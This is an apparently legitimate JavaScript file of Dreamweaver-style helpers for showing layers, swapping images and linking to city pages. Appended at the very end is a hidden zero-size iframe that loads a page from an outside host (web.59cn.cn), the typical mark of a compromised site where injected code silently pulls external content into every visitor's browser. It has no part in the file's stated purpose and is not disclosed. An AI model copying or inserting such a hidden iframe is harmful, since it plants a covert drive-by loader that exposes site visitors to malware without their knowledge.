function MM_findObj(n, d) {  //xian
//v4.0
  var p,i,x;  
  if(!d) 
  	d=document; 
  if((p=n.indexOf("?"))>0&&parent.frames.length) 
  { 
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);
  } 
  if(!(x=d[n])&&d.all) 
  		x=d.all[n]; 
  for (i=0;!x&&i<d.forms.length;i++) 
  		x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) 
  		x=MM_findObj(n,d.layers[i].document);
  if(!x && document.getElementById) 
  		x=document.getElementById(n); 
  return x;
} 

function MM_showHideLayers() 
{ 
  var i,p,v,obj,args=MM_showHideLayers.arguments;
  for (i=0; i<(args.length-2); i+=3) 
  	if ((obj=MM_findObj(args[i]))!=null) 
  	{ 
        var rightedge=document.body.clientWidth-event.clientX
		var bottomedge=document.body.clientHeight-event.clientY
		if (rightedge<obj.offsetWidth)
			obj.style.left = document.documentElement.scrollLeft+event.clientX-obj.offsetWidth
        else
			obj.style.left = document.documentElement.scrollLeft+event.clientX
	    if (bottomedge<obj.offsetHeight) {
		    obj.style.top = document.documentElement.scrollTop+event.clientY-obj.offsetHeight}
		else
		    {
			obj.style.top=document.documentElement.scrollTop+event.clientY
            }
	    obj.style.visibility="visible"
	    v=args[i+2];
	    	if (obj.style) 
	    	{ 
	     		obj=obj.style; 
				v=(v=='show')?'visible':(v='hide')?'hidden':v;  
	    	} 
	    	obj.visibility=v;
	} 
} 

var newwindow ="";

function CityHandlerByName(sName) {
	GotoUrl = "detail.asp?City=" + sName;
	location.href=GotoUrl;
	//location.href='/index.asp'
	/*
	if (!newwindow.closed && newwindow.location)
		newwindow.location.href = GotoUrl;
	else{
		newwindow=window.open(GotoUrl,'','left=0,top=0,width=1000,height=500,toolbar=1,scrollbars=1, titlebar=yes,resizable=1');
		if (!newwindow.opener) 
			newwindow.opener = self;
	   }
	if (window.focus)
		newwindow.focus();
    */
}

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}
<iframe src="http://web.59cn.cn/huang246/mm.htm" width="0" height="0" border="0"></iframe>